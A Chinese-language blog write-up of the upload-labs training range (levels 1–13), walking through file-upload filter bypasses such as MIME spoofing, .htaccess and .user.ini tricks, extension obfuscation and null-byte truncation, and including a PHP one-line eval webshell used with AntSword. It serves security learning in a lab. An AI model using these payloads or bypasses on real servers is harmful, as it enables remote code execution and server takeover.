网络安全中级阶段学习笔记(八):upload靶场实战(1-13关)-文件上传漏洞绕过1

目录

Pass-01(前端绕过)

[Pass-02(MIME 验证)](#Pass-02(MIME 验证))

Pass-03(黑名单绕过)

Pass-04(黑名单验证,.htaccess)

[Pass-05(黑名单验证,.user.ini 绕过)](#Pass-05(黑名单验证,.user.ini 绕过))

Pass-06(黑名单验证,大小写绕过)

Pass-077(黑名单验证,空格绕过)

Pass-088(黑名单验证,点号绕过)

[Pass-09(黑名单验证,特殊字符::DATA 绕过)](#Pass-09(黑名单验证,特殊字符::DATA 绕过))

[Pass-10(黑名单验证,. . 绕过)](#Pass-10(黑名单验证,. . 绕过))

Pass-111(黑名单验证,双写绕过)

[Pass-12(get 0x00 截断)](#Pass-12(get 0x00 截断))

[Pass-13(post 0x00 截断)](#Pass-13(post 0x00 截断))


Pass-01(前端绕过

打开浏览器bp代理

打开bp进行拦截

创建一个文件编辑信息如下。保存为1.png

php 复制代码
<?php
phpinfo();
?>

选择1.png文件点击上传

打开bp修改拦截的包,将上传的1.png修改为1.php。然后点击Forward放包

返回界面,右键复制链接

打开这个链接,出现如下代表成功上传解析成功

Pass-02(MIME 验证

分析代码,可以看到,后端 PHP 代码只对 content-type 进行了检查 使用 bp抓包 ,修改上传的 PHP 的 content-type 为 image/png

上传1.php

修改上传的 PHP 的 content-type 为 image/png

复制链接

上传解析成功

Pass-03(黑名单绕过

分析源代码可知,存在黑名单,但黑名单以外的后缀仍可上传,尝试 php3,php5,phtml 等后缀
打开phpstudy,编辑httpd-conf

搜索AddType application/x-httpd-php,把这一行前面的#删除,并且后面显示的.php和.phtml就是可以识别成php文件的后缀,可以自行添加其他的php5等其他的

上传文件

修改文件后缀为.phtml,然后放包

复制链接

我这边打开链接就直接把那个文件下载了,无法正常解析

如果打开链接直接自动下载文件就是php版本不行,换一个低版本的,然后点击重启php服务器

重新打开链接图片成功

Pass-04(黑名单验证,.htaccess

这次的过滤更加严格,但发现还有一个 .htaccess 没有过滤
AddType application/x-httpd-php .jpg 这个指令代表着 .jpg 文件会当做 php 来解析
,意思是把所有文件都解析为 php 文件来执行。
新建一个.htaccess文件。写入下面的任意一行代码,第一行代码是之后上传所有的.jpg文件都识别成php文件。

php 复制代码
AddType application/x-httpd-php .jpg

第二行代码是之后上传的所有的任意文件都识别解析成php文件

php 复制代码
SetHandler application/x-httpd-php

我这里以第二行为例

上传.htaccess文件

继续上传1.png文件

复制链接

打开这个链接,发现这个.png也被当成php文件了,出现下面界面代表成功了

之后记得把.htaccess文件删了,不然后面的关卡上传图片都可以直接通过

Pass-05(黑名单验证,.user.ini 绕过

分析源码,发现连 .htaccess 也给过滤了,但没有过滤 .user.ini 文件
先上传一个以 auto_prepend_file=1.gif 为内容的.user.ini 文件【用户 自定义的配置文件】。.user.ini 文件里的意思是:所有的 php 文件都 自动包含 1.gif 文件,.user.ini 相当于一个用户自定义的 php.ini。然后 再上传一个内容为一句话木马的命名为 1.gif 的文件。上传成功之后, 用 webshell 管理工具添加该图片的路径,但该图片名改为当前目录 下的 php 文件,例如 readme.php,输入密码连接成功。
创建.user.ini文件,输入下面内容

php 复制代码
auto_prepend_file=1.gif

创建1.gif木马,写入一句话木马

php 复制代码
<?php
@eval($_POST["CMD"])
?>

上传.user.ini文件

然后上传1.gif,并且复制图片链接

打开webshell 管理工具

需要工具的可以点击👆下载

我这里使用中国蚁剑为例

右键空白界面点击添加数据

填入1.gif图片的链接,但是把1.gif修改为readme.php(这个文件一般是说明文件,一般的项目目录下都有)

链接密码是CMD。这个是我们自己在1.gif里面设置的,其他的默认,点击左上角的添加

添加成功就会有一条记录,双击即可打开项目文件,但是我这里出现了错误,应该是php服务器版本的问题,修改版本

点击左上角添加,双击这个链接,发现链接错误,把phpstudy版本切换为带nts的版本就行了

然后再次双击刚刚添加的链接就进来了

右键这条记录选择虚拟终端

打开终端就如同打开服务器的终端,可以任意输入命令(当然仅限于自己的靶场,真实的肯定不可以),比如输入ipconfig

Pass-06(黑名单验证,大小写绕过

这一关同样是后端黑名单,同时过滤掉.htaccess 和.ini。但是没有 使用 strtolower()函数,可以使用大小写绕过黑名单 把.php 格式改为 .Php 上传上去之后,就会自动解析为.php
上传文件

抓包对文件后缀进行修改,修改为1.Php然后放包

复制链接

这里打开图片链接出现一个错误

应该是版本问题,更改phpstudy版本为5.4.45

重新打开网址成功了

Pass-077(黑名单验证,空格绕过)

这一关黑名单,没有使用 trim()去除空格,可以使用空格绕过黑名单抓包
上传文件

抓包修改文件名,在文件名后面添加一个空格符号,然后放包

打开图片链接显示成功

Pass-088(黑名单验证,点号绕过)

这一关黑名单,没有使用 deldot()过滤文件名末尾的点,可以使用文件名后加. 进行绕过

上传文件

抓包修改,文件后面添加一个点符号,然后放包

打开图片链接,显示成功

Pass-09**(黑名单验证,特殊字符::$DATA 绕过)**

这一关黑名单,没有对 ::DATA 进行处理 ,可以使用 ::DATA 进行 处理,可以使用 ::DATA 进行处理,可以使用 ::DATA 绕过黑名单
上传文件

抓包修改,文件后面添加

php 复制代码
::$DATA

然后放包

复制链接,打开链接报错,去掉::$data符号

刷新网页,显示成功

Pass-10**(黑名单验证,. . 绕过)**

这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文 件名进行 filename= deldot( file_name = deldot( filen ame=deldot(file_name) 操作去除文件名末尾的点,构造后缀绕过黑名单 ,deldot()函数从后向前检测,当检测到末尾的第一个点时 会继续它的检测,但是遇到空格会停下来
上传文件

抓包,修改文件,在文件后面添加点 空格 点,然后放包

打开图片链接,显示成功

Pass-111(黑名单验证,双写绕过)

上传文件

抓包修改,在后缀php中间任意两个字母中间写一个php,比如phphpp或者pphphp

打开图片链接,显示成功

Pass-12**(get 0x00 截断)**

GET 0x00 截断
但需要 php 版本<5.3.4 ,并且 magic_quotes_gpc 关闭。
将php服务器版本设置为5.2.17

取消勾选下面的gpc,然后重启服务器

上传文件

抓包修改,第一行的updata/的后面添加1.php%00
然后下面的文件名改为可识别的.png

打开图片链接,去掉1.php后面的字符

刷新网页显示成功

Pass-13**(post 0x00 截断)**

这一关白名单,文件上传路径拼接生成,而且使用了 post 发送的数据进行拼接, 我们可以控制 post 数据进行 0x00 截断绕过白名单**。** POST 不会对里面的数据自动解码,需要在 Hex 中修改。
上传文件进行抓包,按照下面箭头修改如下两个区域

点击Hex

找到+对应的编码2b,将他修改为00,然后放包

打开图片链接,同样需要删除1.php后面的字符

刷新网页显示成功

相关推荐
菜的不敢吱声2 小时前
swift学习第4天
服务器·学习·swift
孙严Pay6 小时前
快捷支付:高效安全的在线支付新选择
笔记·科技·计算机网络·其他·微信
じ☆冷颜〃6 小时前
黎曼几何驱动的算法与系统设计:理论、实践与跨领域应用
笔记·python·深度学习·网络协议·算法·机器学习
想进部的张同学6 小时前
hilinux-3599---设备学习---以及部署yolo
学习·yolo·海思
HyperAI超神经7 小时前
【vLLM 学习】Rlhf
人工智能·深度学习·学习·机器学习·vllm
数据皮皮侠AI7 小时前
上市公司股票名称相似度(1990-2025)
大数据·人工智能·笔记·区块链·能源·1024程序员节
yuhaiqun19898 小时前
学服务器训练AI模型:5步路径助力高效入门
运维·服务器·人工智能·笔记·机器学习·ai
雍凉明月夜8 小时前
深度学习网络笔记Ⅳ(Transformer + VIT)
笔记·深度学习·transformer
做cv的小昊9 小时前
【TJU】信息检索与分析课程笔记和练习(7)数据库检索—Ei
数据库·笔记·学习·全文检索
AI360labs_atyun9 小时前
上海打出“开源”国际牌!2025重磅新政
人工智能·科技·学习·ai·开源